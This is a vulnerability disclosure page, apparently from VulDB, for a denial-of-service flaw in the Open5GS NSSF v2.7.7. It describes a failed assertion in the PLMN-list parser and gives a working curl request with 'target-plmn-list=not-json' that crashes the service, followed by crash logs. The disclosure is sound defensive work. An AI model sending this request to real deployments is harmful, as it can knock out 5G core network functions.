提出 #808422: Open5gs NSSF v2.7.7 Denial of Service情報

タイトルOpen5gs NSSF v2.7.7 Denial of Service
説明### Open5GS Release, Revision, or Tag v2.7.7 ### Steps to reproduce ### Description NSSF crashes in the common discovery query parser when `target-plmn-list` contains invalid JSON. `ogs_sbi_discovery_option_parse_plmn_list()` calls `ogs_sbi_parse_plmn_list(plmn_list, PlmnList)` even when JSON parsing fails and `PlmnList` is still `NULL`, which triggers an assertion. The same parser path is reused for `requester-plmn-list`, so the malformed input variant is not limited to the `target-plmn-list` parameter. ### Steps to reproduce ```bash IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf) curl --http2-prior-knowledge -m 5 -sS -i --get \ "http://$IP/nnssf-nsselection/v2/network-slice-information" \ --data-urlencode 'nf-id=test-amf' \ --data-urlencode 'nf-type=AMF' \ --data-urlencode 'slice-info-request-for-pdu-session={"sNssai":{"sst":1,"sd":"000001"},"roamingIndication":"NON_ROAMING"}' \ --data-urlencode 'target-plmn-list=not-json' ``` Then check: ```bash docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nssf docker logs --tail 40 nssf ``` ### Logs ```shell curl: (56) Recv failure: Connection reset by peer exited 139 2026-04-10T17:58:33.326551782Z 04/10 17:58:33.234: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion `PlmnList' failed. (../lib/sbi/conv.c:1180) ``` ### Expected behaviour NSSF should reject malformed PLMN-list query parameters with a `400 Bad Request` response and remain running. ### Observed Behaviour The connection is reset and the NSSF process exits with code `139`. ### eNodeB/gNodeB Not required. ### UE Models and versions Not required.
ソース⚠️ https://github.com/open5gs/open5gs/issues/4433
ユーザー
 FrankyLin (UID 94345)
送信2026年04月20日 20:10 (2 月 ago)
モデレーション2026年05月07日 18:57 (17 days later)
ステータス承諾済み
VulDBエントリ361908 [Open5GS 迄 2.7.7 NSSF /lib/sbi/conv.c ogs_sbi_parse_plmn_list サービス拒否]
ポイント20

Want to know what is going to be exploited?

We predict KEV entries!